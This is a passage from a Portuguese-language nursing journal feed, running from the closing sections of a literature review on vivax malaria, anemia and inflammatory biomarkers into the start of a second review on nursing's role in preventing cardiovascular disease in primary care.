<p class="wp-block-paragraph">O uso desses biomarcadores na prática clínica permanece em expansão, embora ainda enfrentando desafios. A interpretação de seus valores exige compreensão das singularidades da vivax e da variação individual que permeia as respostas imunes. Mesmo assim, seu emprego já se mostra promissor, especialmente em estratégias de vigilância que buscam antecipar complicações e orientar decisões terapêuticas mais precisas (Ribeiro et al., 2021).</p>



<p class="wp-block-paragraph">A pesquisa translacional tem aproximado o laboratório da rotina assistencial, permitindo que o significado clínico dos biomarcadores seja continuamente refinado. A integração entre imunologia e cuidado em saúde pública transforma esses marcadores em ferramentas capazes de dialogar tanto com a ciência básica quanto com os desafios da atenção primária. Isso é particularmente relevante em áreas endêmicas, onde o tempo de resposta e a capacidade de prever riscos podem definir o desfecho dos pacientes (Santos et al., 2022).</p>



<p class="wp-block-paragraph">A complexidade imunológica da vivax continua instigando novas perguntas científicas e revelando a profundidade da interação entre parasita e hospedeiro. Os biomarcadores funcionam como portas de entrada para essa compreensão, iluminando caminhos ainda pouco explorados. Ao oferecer pistas sobre a progressão clínica e sobre potenciais pontos de intervenção, esses indicadores reforçam a importância de uma vigilância ampliada que considere a dimensão inflamatória como parte central do manejo da malária vivax.</p>



<p class="wp-block-paragraph"><strong>3. METODOLOGIA&nbsp;</strong></p>



<p class="wp-block-paragraph">A construção deste estudo apoiou-se em uma abordagem bibliográfica que privilegia não apenas a reunião de informações já publicadas, mas a imersão crítica em diferentes perspectivas sobre a malária vivax. Optou-se por explorar fontes que dialogam entre si e que, ao mesmo tempo, trazem tensionamentos e contrapontos capazes de enriquecer a leitura do fenômeno. Essa estratégia buscou evitar a simples compilação de dados e, em seu lugar, favorecer uma compreensão ampliada, carregada de nuances e sustentada por evidências recentes da literatura científica (Gil, 2019).</p>



<p class="wp-block-paragraph">A seleção das obras exigiu um percurso atento pelas bases de dados científicas, com destaque para SciELO, PubMed, Web of Science e Scopus. Nesses espaços, priorizaram-se artigos, revisões sistemáticas, relatórios técnicos e livros que tratam da malária vivax, de sua fisiopatologia e dos marcadores que gravitam em torno da infecção. O recorte temporal concentrou-se no período entre 2000 e 2024, permitindo captar tanto a evolução conceitual quanto os avanços metodológicos que transformaram o entendimento da doença nas últimas duas décadas (Marconi; Lakatos, 2017).</p>



<p class="wp-block-paragraph">A busca bibliográfica foi orientada por palavras-chave relacionadas aos eixos centrais deste trabalho, tais como <em>Plasmodium vivax</em>, anemia, biomarcadores inflamatórios, vigilância clínica e Enfermagem. Esses termos foram combinados com operadores booleanos para ampliar a precisão das buscas e evitar o risco de omissão de estudos relevantes. Durante a triagem inicial, procedeu-se à leitura de títulos e resumos, preservando apenas materiais que apresentassem relação direta com a temática e com potencial para contribuir para a interpretação crítica do fenômeno (Souza et al., 2021).</p>



<p class="wp-block-paragraph">Após essa etapa, realizou-se a leitura integral dos textos selecionados, etapa essencial para identificar convergências e divergências entre autores e metodologias. A análise buscou identificar padrões teóricos, lacunas ainda pouco exploradas e elementos capazes de sustentar as discussões desenvolvidas ao longo do trabalho. Essa prática permitiu que a metodologia bibliográfica fosse além de um procedimento técnico e se aproximasse de um exercício reflexivo, no qual a literatura serviu não apenas como fonte de consulta, mas como campo de diálogo (Severino, 2018).</p>



<p class="wp-block-paragraph">A organização do material seguiu uma lógica temática, articulando estudos que tratam da biologia do parasita, dos impactos hematológicos, das redes inflamatórias e das práticas de vigilância em saúde. Esse arranjo favoreceu a construção de um referencial sólido, capaz de sustentar análises complexas e evitar leituras fragmentadas do fenômeno. A opção por essa estrutura não pretende reduzir a multiplicidade das evidências, mas permitir que elas se encontrem de maneira coerente e iluminem diferentes aspectos da malária vivax (Koche, 2016).</p>



<p class="wp-block-paragraph">Por fim, a metodologia bibliográfica foi conduzida com atenção à qualidade e à credibilidade das fontes, priorizando publicações revisadas por pares e documentos técnicos oriundos de instituições reconhecidas. Essa escolha buscou garantir rigor científico e confiabilidade às interpretações apresentadas, mantendo o trabalho ancorado em evidências robustas sem perder a sensibilidade necessária para dialogar com a complexidade que caracteriza a malária vivax como fenômeno biológico, clínico e social (Oliveira; Santos, 2020).</p>



<p class="wp-block-paragraph"><strong>4. RESULTADOS E DISCUSSÃO</strong></p>



<p class="wp-block-paragraph">A revisão bibliográfica evidenciou que a malária vivax apresenta um comportamento clínico mais complexo do que o tradicionalmente descrito, afastando-se da narrativa histórica de benignidade. Estudos demonstram que seus efeitos se estendem para além da presença parasitária imediata, envolvendo processos inflamatórios persistentes e alterações hematológicas cumulativas que repercutem de forma significativa na saúde das populações expostas (Baird, 2013; Howes et al., 2016). Esses achados permitem compreender que a vivax opera de maneira multissistêmica, influenciada tanto pela biologia peculiar do parasita quanto pelas condições sociais e ambientais que moldam sua expressão.</p>



<p class="wp-block-paragraph">Um dos resultados mais consistentes refere-se à anemia, que se consolidou como marca fisiopatológica central da vivax, mesmo em cenários de baixa parasitemia. A literatura revisada demonstra que a destruição de hemácias não infectadas, a hiperatividade esplênica e a supressão eritropoiética convergem para um desgaste hematológico contínuo (Douglas et al., 2012; Lacerda et al., 2012). Esses mecanismos explicam não apenas a queda progressiva da hemoglobina, mas também a dificuldade de recuperação entre os episódios de recaída, especialmente em áreas onde a exposição é frequente (Aponte et al., 2009; Fernando et al., 2010).</p>



<p class="wp-block-paragraph">A resposta inflamatória mostrou-se igualmente determinante na evolução clínica da vivax. Mediadores como IL-6, TNF-α e IL-10 aparecem repetidamente associados à intensidade dos sintomas e ao risco de complicações, sinalizando que a gravidade da doença não se limita à carga parasitária, mas reflete a força e o equilíbrio da resposta imunológica (Mendonça et al., 2020; Riley et al., 2016; Correa et al., 2019). Essas evidências reforçam que o processo inflamatório funciona como eixo modulador da severidade clínica, podendo tanto proteger quanto amplificar danos hematológicos.</p>



<p class="wp-block-paragraph">A literatura também destacou a relevância de biomarcadores inflamatórios como ferramentas de vigilância clínica. Estudos recentes apontam que combinações específicas de citocinas e quimiocinas constituem assinaturas imunes capazes de prever risco de recaídas, intensidade da anemia e evolução clínica desfavorável (Mendes et al., 2019; Mueller et al., 2020). A proteína C-reativa, por sua vez, desponta como marcador complementar útil para identificar inflamações intensas e orientar condutas em serviços de saúde, especialmente quando integrada a parâmetros hematológicos (Kain et al., 2019; Ribeiro et al., 2021).</p>



<p class="wp-block-paragraph">Outro achado relevante refere-se ao papel central do baço na fisiopatologia da vivax. A hiperatividade esplênica, descrita em diversos estudos, atua como chave na remoção acelerada de hemácias alteradas, contribuindo para a discrepância entre baixa parasitemia e anemia acentuada. Pesquisas indicam que a interação entre baço, sistema imune e dinâmica do parasita molda grande parte das manifestações clínicas e pode prolongar sintomas mesmo após o tratamento (Kho et al., 2019; Lamikanra et al., 2007).</p>



<p class="wp-block-paragraph">A análise das recaídas revelou que a periodicidade dos hipnozoítos exerce impacto decisivo sobre a evolução hematológica e inflamatória. Cada ciclo de reativação não representa apenas o retorno da parasitemia, mas o reinício de processos imunológicos e metabólicos que intensificam o desgaste sistêmico (White, 2011; White et al., 2014). Esse padrão recidivante contribui para quadros de anemia crônica e aumento do risco de complicações, especialmente em populações vulneráveis.</p>



<p class="wp-block-paragraph">Por fim, a revisão mostrou que a Enfermagem ocupa posição estratégica na vigilância clínica da vivax, desempenhando papel fundamental na identificação precoce de sinais de anemia, alterações inflamatórias e padrões de recaída. Estudos apontam que a observação contínua realizada pelo enfermeiro, aliada ao uso criterioso de marcadores laboratoriais, tem potencial para antecipar agravos e orientar intervenções mais eficazes (Carvalho et al., 2019; Genton, 2019). Esse conjunto de achados destaca a necessidade de fortalecer práticas de cuidado que integrem ciência, sensibilidade clínica e abordagem contextualizada da doença.</p>



<p class="wp-block-paragraph"><strong>5. CONCLUSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A análise desenvolvida ao longo deste estudo evidencia que a malária vivax permanece como um campo desafiador e dinâmico dentro das ciências da saúde, revelando nuances que ultrapassam a leitura tradicionalmente atribuída à doença. A diversidade de manifestações clínicas, os impactos hematológicos desproporcionais e a complexidade imunológica associada aos biomarcadores demonstram que seu comportamento biológico exige abordagens interpretativas mais finas e sensíveis às variações individuais e epidemiológicas. Ao integrar essas dimensões, torna-se possível compreender a vivax não como um evento clínico isolado, mas como um processo multifacetado que demanda vigilância contínua e pensamento crítico.</p>



<p class="wp-block-paragraph">A centralidade da Enfermagem emerge com força ao longo do estudo, sobretudo pela sua capacidade de articular observação clínica, conhecimento científico e tomada de decisão oportuna. Os achados reforçam que o enfermeiro ocupa posição estratégica no reconhecimento precoce de agravos hematológicos e alterações inflamatórias, atuando como mediador entre os sinais sutis da doença e as respostas assistenciais necessárias. Isso evidencia a importância de fortalecer competências específicas para o manejo da vivax, especialmente em territórios onde a doença persiste como problema de saúde pública.</p>



<p class="wp-block-paragraph">A partir do diálogo entre anemia, desgaste hematológico e marcadores inflamatórios, torna-se visível que o cuidado clínico requer um olhar ampliado, capaz de captar relações menos evidentes entre imunidade, progressão da doença e resposta terapêutica. Esse entendimento contribui para refinar a prática profissional e ampliar o repertório avaliativo dos serviços de saúde, valorizando não apenas a coleta de dados, mas a leitura qualificada das mudanças que se desdobram ao longo do curso da infecção. Assim, a assistência deixa de ser reativa e passa a se estruturar de maneira mais preventiva e antecipatória.</p>



<p class="wp-block-paragraph">O estudo também aponta que, para além dos protocolos estabelecidos, existe um espaço crescente para a interpretação contextualizada dos achados clínicos e laboratoriais. A vivência cotidiana dos profissionais, articulada ao avanço das pesquisas, sugere que abordagens integradas podem favorecer a identificação de padrões que ainda se mostram incipientes na literatura. Nessa perspectiva, a prática clínica se torna terreno fértil para produção de conhecimento e aprimoramento das estratégias de vigilância.</p>



<p class="wp-block-paragraph">Por fim, as reflexões aqui apresentadas reforçam que o enfrentamento qualificado da malária vivax exige investimento contínuo em formação, pesquisa e fortalecimento das práticas de cuidado. O entendimento aprofundado dos processos fisiopatológicos, aliado à sensibilidade clínica da Enfermagem, representa uma via promissora para ampliar a segurança do paciente, aprimorar o monitoramento dos agravos associados e sustentar ações que respondam às particularidades dessa infecção. As conclusões apontam, portanto, para a necessidade de integrar ciência, observação clínica e capacidade crítica como pilares de uma vigilância verdadeiramente eficaz.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



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		<title>O PAPEL DA ENFERMAGEM NA PREVENÇÃO DE DOENÇAS CARDIOVASCULARES NA ATENÇÃO PRIMÁRIA</title>
		<link>https://revistaft.com.br/o-papel-da-enfermagem-na-prevencao-de-doencas-cardiovasculares-na-atencao-primaria/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Thu, 18 Dec 2025 16:55:49 +0000</pubDate>
				<category><![CDATA[Enfermagem]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
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					<description><![CDATA[THE ROLE OF NURSING IN THE PREVENTION OF CARDIOVASCULAR DISEASES IN PRIMARY CARE REGISTRO DOI: 10.69849/revistaft/cl10202512181354 Abdoral Junior dos Santos Martins1Adriano Filho Guimarães Martins2Jennifer Ferreira Brito3Heryson Huey Lisboa Moura4Roberto dos Santos Lima5Orientadora: Jamilly Karoliny da Silva Miranda6 Resumo&#160; Introdução: As doenças cardiovasculares constituem a principal causa de mortalidade no Brasil e no mundo, exigindo estratégias [&#8230;]]]></description>
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<p class="wp-block-paragraph">THE ROLE OF NURSING IN THE PREVENTION OF CARDIOVASCULAR DISEASES IN PRIMARY CARE</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512181354</p>



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<p class="has-text-align-right wp-block-paragraph">Abdoral Junior dos Santos Martins<sup>1</sup><br>Adriano Filho Guimarães Martins<sup>2</sup><br>Jennifer Ferreira Brito<sup>3</sup><br>Heryson Huey Lisboa Moura<sup>4</sup><br>Roberto dos Santos Lima<sup>5</sup><br>Orientadora: Jamilly Karoliny da Silva Miranda<sup>6</sup></p>



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<p class="wp-block-paragraph"><strong>Resumo&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Introdução:</strong> As doenças cardiovasculares constituem a principal causa de mortalidade no Brasil e no mundo, exigindo estratégias eficazes de prevenção. A enfermagem, especialmente na atenção primária à saúde, é um dos pilares fundamentais para o enfrentamento desse cenário, atuando na promoção da saúde, rastreio precoce e educação da população. <strong>Objetivo:</strong> Identificar o papel da enfermagem na prevenção das doenças cardiovasculares. <strong>Metodologia:</strong> Trata-se de uma pesquisa de revisão bibliográfica com abordagem qualitativa. O levantamento dos materiais para desenvolvimento da pesquisa foram retirados das seguintes plataformas, como BVS, LILACS, SciELO e PUBMED. <strong>Resultados:</strong> As pesquisas demonstram que a atuação do enfermeiro, aliada a programas de saúde pública tem impacto significativo na redução de fatores de risco e na prevenção das (DCV’s). <strong>Conclusão:</strong> O fortalecimento da atuação do enfermeiro, com apoio institucional e políticas públicas adequadas são indispensáveis para melhorar os indicadores de saúde cardiovascular da população, reduzindo assim os impactos negativos que a doença pode causar.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Doenças cardiovasculares. Enfermagem. Prevenção.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">As doenças cardiovasculares (DCV’s) representam a principal causa de mortalidade no Brasil e no mundo, sendo responsáveis por aproximadamente 400 mil mortes anuais no país. Esse grupo de doenças são alterações que afetam as funções do coração, sendo considerado um problema de saúde pública. As mais recorrentes são a síndrome coronariana aguda, insuficiência cardíaca, infarto agudo do miocárdio e hipertensão arterial sistêmica (Oliveira <em>et al</em>., 2024).&nbsp;</p>



<p class="wp-block-paragraph">No cenário da atenção primária, a enfermagem desempenha papel central no rastreamento, orientação e acompanhamento de pacientes. Profissionais de enfermagem, por sua proximidade com a comunidade e por atuarem em diferentes níveis de atenção, têm potencial de promover mudanças comportamentais, reforçar a adesão ao tratamento e integrar protocolos de manejo clínico (Silva <em>et al</em>., 2020).&nbsp;</p>



<p class="wp-block-paragraph">Ao mesmo tempo, o fortalecimento das práticas de enfermagem no âmbito da atenção primária pode proporcionar maior equidade em saúde, beneficiando especialmente populações vulneráveis, muitas vezes com acesso restrito a consultas médicas especializadas (Oliveira <em>et al</em>., 2022).&nbsp;</p>



<p class="wp-block-paragraph">Nessa perspectiva, de capacitar e orientar profissionais de enfermagem, o Ministério da Saúde (2022) criou a Estratégia de Saúde Cardiovascular (ESC), um instrumento que tem como objetivo de focar na prevenção de fatores que levam ao surgimento das doenças cardiovasculares.&nbsp;</p>



<p class="wp-block-paragraph">Diante o exposto, a escolha do tema a ser estudado se justifica principalmente pelo impacto social que a doença causa na população, por isso torna-se relevante uma investigação na literatura para identificar todas as estratégias usadas por enfermeiros que irão contribuir para a prevenção das doenças que afetam o coração e trazem consigo sequelas e complicações muitas vezes irreversíveis ao paciente. A disseminação do conhecimento por meio da educação em saúde torna-se crucial para contribuir na redução das taxas de mortalidade evidenciadas por este fenômeno.&nbsp;</p>



<p class="wp-block-paragraph">O presente artigo tem como objetivo geral compreender o papel da enfermagem na prevenção das doenças cardiovasculares, identificando estratégias educativas, de rastreamento e de acompanhamento clínico que potencializem a redução dos fatores de risco e melhorem os desfechos em saúde.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>FUNDAMENTAÇÃO TEÓRICA&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>2.1 DOENÇAS CARDIOVASCULARES&nbsp;</strong></p>



<p class="wp-block-paragraph">As doenças cardiovasculares representam uma das principais causas de morbidades e mortalidade no mundo, afetando milhões de pessoas a cada ano, elas se definem como um conjunto de condições que envolvem o coração e os vasos sanguíneos. O aumento dessas doenças está diretamente relacionado ao envelhecimento da população, a adoção de hábitos de vida pouco saudáveis, como o sedentarismo e dieta inadequada, e a fatores genéticos que predispõem o indivíduo ao desenvolvimento dessas condições (Batalha <em>et al</em>.,2025).&nbsp;</p>



<p class="wp-block-paragraph">Os fatores de risco para doenças cardiovasculares modificáveis são responsáveis por 70% das mortes por doenças cardíacas, que incluem, dieta inadequada, obesidade, sedentarismo e tabagismo, representam fatores comportamentais de risco, enquanto fatores metabólicos incluem níveis de colesterol elevados, hipertensão arterial e diabetes, dietas ricas em carboidratos e frituras (Mota <em>et al</em>., 2023).&nbsp;</p>



<p class="wp-block-paragraph">A compreensão da história natural das doenças cardiovasculares e de suas manifestações clínicas é fundamental para orientar estratégias eficazes de diagnóstico e tratamento. Embora muitas vezes essas condições se manifestem de forma aguda, médicos experientes têm a capacidade de identificar pacientes em risco de complicações graves antes de sua ocorrência, permitindo a adoção de medidas preventivas e terapêuticas. Uma avaliação abrangente dos sintomas, que frequentemente resultam de isquemia miocárdica, disfunção contrátil ou relaxamento do miocárdio, obstrução do fluxo sanguíneo ou alterações no ritmo cardíaco, é crucial para uma abordagem eficaz na avaliação de pacientes com suspeita de doença cardiovascular (Bezerra <em>et al</em>., 2024).&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2 COMPLICAÇÕES DAS DOENÇAS CARDIOVASCULARES&nbsp;</strong></p>



<p class="wp-block-paragraph">O Infarto Agudo do Miocárdio (IAM) é uma das complicações mais prevalentes e graves das doenças cardiovasculares, decorrente da interrupção súbita do fluxo coronariano e necrose miocárdica, destacam que a instabilidade da placa aterosclerótica e o trombo oclusivo são fatores centrais no processo fisiopatológico (Bizinotto <em>et al</em>.,2023).&nbsp;</p>



<p class="wp-block-paragraph">O Acidente Vascular Cerebral (AVC) também constitui uma das complicações sistêmicas mais relevantes das (DCV’s). Estudos recentes destacam que pacientes com doença coronariana, especialmente após IAM, possuem risco aumentado de isquemia cerebral por formação de trombos e arritmias, a fibrilação atrial, comum nos pós infarto, aumenta exponencialmente a probabilidade de embolia cerebral. Além disso, alterações hemodinâmicas, inflamação endotelial e disfunções vasculares subjacentes contribuem para o desenvolvimento do AVC, o desfecho apresenta elevada mortalidade e incapacitação, exigindo intervenções rápidas e reabilitação especializada (Sá <em>et al</em>., 2024).&nbsp;</p>



<p class="wp-block-paragraph">Essa interação cérebro-coração amplia a vulnerabilidade dos pacientes e aumenta o risco de morte súbita, além disso, indivíduos com insuficiência cardíaca prévia tendem a apresentar piores desfechos após o AVC, com maior mortalidade e maior reincidência de complicações (Fang <em>et al</em>., 2024).&nbsp;</p>



<p class="wp-block-paragraph">A morte súbita cardíaca configura outra complicação da Doença Cardiovascular, e está frequentemente relacionada a arritmias malignas, em especial taquicardia e fibrilação ventricular, evidenciam que pacientes com lesão miocárdica prévia, principalmente por IAM, possuem risco elevado desse desfecho de morte súbita cardíaca (Félix <em>et al</em>., 2024).&nbsp;</p>



<p class="wp-block-paragraph">A insuficiência renal aguda ou crônica subsequente a complicações cardíacas aumenta mortalidade, internações e deterioração funcional, descrevem que o prejuízo renal deve ser monitorizado continuamente em pacientes com insuficiência cardíaca, IAM hipertensão avançada, reforçando a necessidade de abordagem multidisciplinar (Mulatti <em>et al</em>.,2023).&nbsp;</p>



<p class="wp-block-paragraph">O aneurisma cerebral representa uma complicação potencialmente perigosa, em que ocorre uma dilatação enfraquecida de um vaso sanguíneo no cérebro. Este fenômeno pode ocorrer em qualquer parte do cérebro, mas os aneurismas intracranianos são frequentemente associados a pressões sanguíneas elevadas e à turbulência hemodinâmica, fenômenos que podem ser exacerbados em indivíduos com coarctação de aorta não tratada (Souza <em>et al</em>., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Portanto, as complicações das (DCV’s) resultam da interação de múltiplos fatores fisiopatológicos, socioeconômicos e comportamentais. A atuação interdisciplinar e o fortalecimento da atenção primária à saúde são fundamentais para reduzir a incidência e a gravidade desses eventos. O avanço das pesquisas clínicas e o acesso equitativo aos cuidados cardiovasculares são pilares essenciais para enfrentar o crescente impacto dessas doenças na sociedade contemporânea (Martin <em>et al</em>., 2024).&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.3</strong> <strong>ATUAÇÃO DA ENFERMAGEM NA PREVENÇÃO DAS DOENÇAS CARDIOVASCULARES&nbsp;</strong></p>



<p class="wp-block-paragraph">A enfermagem desde seus primórdios sempre teve foco na prevenção dos agravos da saúde, no que diz respeito a prevenção das doenças cardiovasculares, atua nos consultórios das UBS, na educação em saúde, promovendo o acesso dos pacientes as informações sobre a saúde do sistema cardiovascular (Estequi <em>et al</em>., 2021),&nbsp;</p>



<p class="wp-block-paragraph">Ainda nesse cenário, a enfermagem está inserida na Atenção Primária à Saúde, tem papel importante nas ações que visam a promoção de doenças, destacando-se no âmbito de atendimento e prevenção das doenças na comunidade (Oliveira, 2021).&nbsp;</p>



<p class="wp-block-paragraph">A educação em saúde é apontada como uma das principais ferramentas da enfermagem para a prevenção de doenças no coração. Os estudos destacam ações educativas realizadas em unidades básicas de saúde, escolas, grupos comunitários e domicílios, com foco em alimentação saudável, atividade física, controle do estresse e abandono de vícios como o tabagismo (Santos <em>et al</em>., 2020).&nbsp;</p>



<p class="wp-block-paragraph">Segundo Gomes (2021) a prevenção e assistência começam na consulta de enfermagem onde o enfermeiro irá fazer a anamnese e identificar os fatores de riscos para cada cliente, como predisposição genética, uso de álcool, cigarro, obesidade, sedentarismo, diabetes, dieta rica em sódio, fatores socioeconômicos, entre outros.&nbsp;</p>



<p class="wp-block-paragraph">A assistência realizada por esses profissionais inclui desde a aferição regular da pressão arterial e orientações sobre estilo de vida até a condução de grupos educativos, constituindo-se em uma estratégia essencial para reduzir os índices de hospitalização e mortalidade decorrentes de (DCV’s) (Gomes <em>et al</em>., 2021).&nbsp;</p>



<p class="wp-block-paragraph">Destaca-se também, que a atuação da enfermagem no acompanhamento de pacientes hipertensos, diabéticos e dislipidêmicos é essencial para garantir a continuidade do cuidado. Estudos apontam que a intervenção do enfermeiro favorece maior adesão aos medicamentos, melhora dos hábitos de vida e redução de hospitalizações (Pinheiro <em>et al</em>., 2022).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Em contrapartida, nota-se que existem alguns desafios que interferem na assistência realizada por esses profissionais, como: limitação de recursos nas unidades de saúde, carga de trabalho excessiva, falta de atualização profissional, e principalmente baixa adesão da população às orientações recebidas. A incorporação de tecnologias como aplicativos de saúde e telemonitoramento é apontada como alternativa promissora para ampliar o alcance das ações da enfermagem (Vieira <em>et al</em>., 2023).&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>METODOLOGIA&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">Este estudo caracteriza-se como uma revisão de literatura com abordagem qualitativa. Como afirma Sonaglio <em>et al.,</em> (2022), a revisão de literatura possibilita ao pesquisador sintetizar conhecimentos, identificar lacunas e ampliar a compreensão sobre determinado tema por meio da análise de estudos publicados.&nbsp;</p>



<p class="wp-block-paragraph">A busca pelos materiais foi realizada em bases de dados de acesso aberto, como: BVS, SciELO e LILACS, que disponibilizam ampla variedade de artigos relacionados à temática abordada. Para garantir a atualidade das informações, foram selecionados artigos científicos publicados entre os anos de 2019 e 2025. Delimitar o período de coleta é essencial para assegurar relevância científica e coerência entre o material analisado e os objetivos da pesquisa.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Para a seleção dos estudos, foram utilizados descritores pertinentes ao objeto de pesquisa, combinados entre si para ampliar a precisão dos resultados, como: Doenças Cardiovasculares, Enfermagem e prevenção. A estratégia de combinação de descritores visa garantir amplitude e especificidade no processo de busca.&nbsp;</p>



<p class="wp-block-paragraph">Os critérios de inclusão definidos para esta pesquisa foram: artigos publicados em português, disponíveis na íntegra, que abordassem diretamente sobre o tema proposto. Foram incluídos estudos completos que apresentassem fundamentação teórica consistente e que contribuíssem para a compreensão do tema investigado. Como critérios de exclusão, foram eliminados da pesquisa trabalhos que não estavam de acordo com o tema e objetivo definido, assim como materiais fora do recorte temporal estabelecido.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>RESULTADOS E DISCUSSÕES&nbsp;</strong></p>



<p class="wp-block-paragraph">As doenças cardiovasculares representam uma das principais causas de morbimortalidade no Brasil e no mundo, conforme os dados apresentados pela Sociedade Brasileira de Cardiologia (2022).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O Ministério da Saúde (2023) enfatiza que a prevenção das (DCV’s) deve ocorrer de forma integral e contínua, envolvendo ações de promoção de hábitos saudáveis e controle de fatores de risco, como hipertensão arterial, dislipidemias, diabetes mellitus, tabagismo e sedentarismo. Nesse contexto, o enfermeiro atua na linha de frente das estratégias de prevenção primária e secundária, sendo responsável pela realização de consultas de enfermagem, estratificação de risco cardiovascular e encaminhamento adequado dos pacientes.&nbsp;</p>



<p class="wp-block-paragraph">Um dos principais desafios na prevenção de doenças cardiovasculares é a crescente prevalência de fatores de risco modificáveis, como tabagismo, dieta inadequada, falta de atividade física e estresse crônico. A urbanização e as mudanças nos estilos de vida contribuíram para o aumento desses fatores, exigindo estratégias eficazes para educar e motivar as pessoas a adotarem comportamentos saudáveis. A conscientização pública, programas de educação e iniciativas de promoção da saúde desempenham um papel fundamental na mudança de comportamentos prejudiciais (Tonh <em>et al</em>., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Em consonância, pesquisas recentes confirmam que as doenças cardiovasculares mais prevalentes no Brasil permanecem associadas a fatores de risco modificáveis. Dessa forma, medidas de prevenção, diagnóstico precoce e adesão ao tratamento são fundamentais para reduzir a morbimortalidade associada a essas condições (Gonçalves <em>et al</em>., 2019).&nbsp;</p>



<p class="wp-block-paragraph">A elevada taxa de reincidência de eventos cardiovasculares, associada a hospitalizações repetidas, reabilitação prolongada e uso contínuo de medicamentos, contribui para custos crescentes ao sistema de saúde. Destacam que o investimento em políticas preventivas é mais eficiente e menos oneroso do que o tratamento das complicações estabelecidas, reforçando a necessidade de maior foco em ações educativas, controle de fatores de risco e ampliação do acesso à atenção primária (Brant <em>et al</em>., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Nos estudos de Roth <em>et al</em>., (2020) apontam que a isquemia e infarto agudo do miocárdio (IAM) são doenças que contribuem para uma das maiores estatísticas de mortes sobre doenças cardiovasculares. Ressalta-se que a insuficiência cardíaca também constitui uma das principais causas de internações hospitalares no Sistema Único de Saúde (SUS). Estudos apontam que, entre 2018 e 2023, essa condição esteve entre as maiores responsáveis por hospitalizações cardiovasculares, principalmente em pacientes idosos e com múltiplas comorbidades (Morais <em>et al</em>., 2024).&nbsp;</p>



<p class="wp-block-paragraph">As arritmias cardíacas, especialmente a fibrilação atrial, estão entre as decorrências&nbsp; frequentes das (DCV’s) e são responsáveis por elevar o risco de eventos tromboembólicos, a fibrilação atrial pode levar à formação de trombos intracardíacos e, consequentemente, a acidentes vasculares isquêmicos, ampliando o impacto sistêmico da doença cardiovascular, as pesquisas mostram&nbsp; que a detecção precoce e o controle adequado dessas arritmias são fundamentais para reduzir complicações nas doenças do coração (Pinto <em>et al</em>,2023).&nbsp;</p>



<p class="wp-block-paragraph">As doenças cardiovasculares envolvem complicações interligadas que ampliam sua gravidade clínica. Segundo Gonçalves <em>et al</em>., (2019), o infarto agudo do miocárdio (IAM) e o acidente vascular cerebral (AVC) compartilham mecanismos aterotrombóticos, resultando em elevado risco de sequelas neurológicas e novos eventos isquêmicos. Diante desta realidade, Gomes, (2021) destaca que, após o infarto, o remodelamento miocárdico favorece arritmias graves e, em casos extremos, o choque cardiogênico, condição de alta mortalidade.&nbsp;</p>



<p class="wp-block-paragraph">Abreu <em>et al</em>., (2025) apontam que as complicações sistêmicas, como a doença renal crônica, decorrem da redução do débito cardíaco e da inflamação persistente, agravando o prognóstico e exigindo cuidados integrados. Assim, as complicações cardiovasculares de origem trombótica, inflamatória ou sistêmica estão interligadas, demandando estratégias preventivas e terapêuticas multidimensionais.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Os agravamentos das (DCV’s) transcendem a dimensão fisiológica, pacientes acometidos por insuficiência cardíaca (IC), AVC ou infarto apresentam maior risco de desenvolver transtornos psicológicos, como depressão e ansiedade. Estudos revelam que a depressão é associada ao pior prognóstico e maior risco de hospitalizações secundárias em indivíduos com doenças cardiovasculares, além disso, limitações funcionais decorrentes de AVC ou IC comprometem a autonomia, resultando em redução da produtividade e impacto econômico significativo para famílias e sistemas de saúde (Silva <em>et al</em>., 2024).&nbsp;</p>



<p class="wp-block-paragraph">Diante os resultados expostos, Oliveira (2021) destaca que a enfermagem, na atenção primária, é responsável por implementar práticas preventivas e de monitoramento contínuo, orientando os pacientes quanto à alimentação balanceada, prática de atividade física e adesão ao tratamento. A atuação educativa é uma das ferramentas mais eficazes para diminuir a morbimortalidade por (DCV’s), sobretudo quando associada à escuta ativa e ao acompanhamento individualizado.&nbsp;</p>



<p class="wp-block-paragraph">Gomes, Vasconcelos e Santos (2022) reforçam que a educação em saúde é uma das estratégias mais potentes da enfermagem, pois abrange a conscientização sobre o abandono de vícios como o tabagismo e o consumo excessivo de álcool, além de incentivar uma rotina de cuidados preventivos. Essa abordagem promove a autonomia do indivíduo e o empoderamento para escolhas saudáveis, reduzindo os principais fatores de risco cardiovasculares.&nbsp;</p>



<p class="wp-block-paragraph">Neste sentido, Pinheiro <em>et al</em>., (2022) ressalta a importância do enfermeiro no controle dos fatores de risco metabólicos, como diabetes, hipertensão arterial e dislipidemias. O acompanhamento regular desses pacientes, aliado à orientação sobre o uso correto de medicamentos e ao incentivo à adesão terapêutica, é essencial para evitar complicações cardiovasculares graves. O enfermeiro, portanto, atua como mediador entre o paciente e o sistema de saúde, garantindo a continuidade do cuidado.&nbsp;</p>



<p class="wp-block-paragraph">Seguindo esta mesma perspectiva, Gomes (2021) acrescenta que a prevenção em saúde realizada por enfermeiros na atenção básica é um pilar do Sistema Único de Saúde (SUS), pois possibilita ações de triagem, rastreamento e promoção da saúde coletiva. Essas práticas tornam a assistência mais eficiente e diminuem a sobrecarga dos níveis secundário e terciário de atenção.&nbsp;</p>



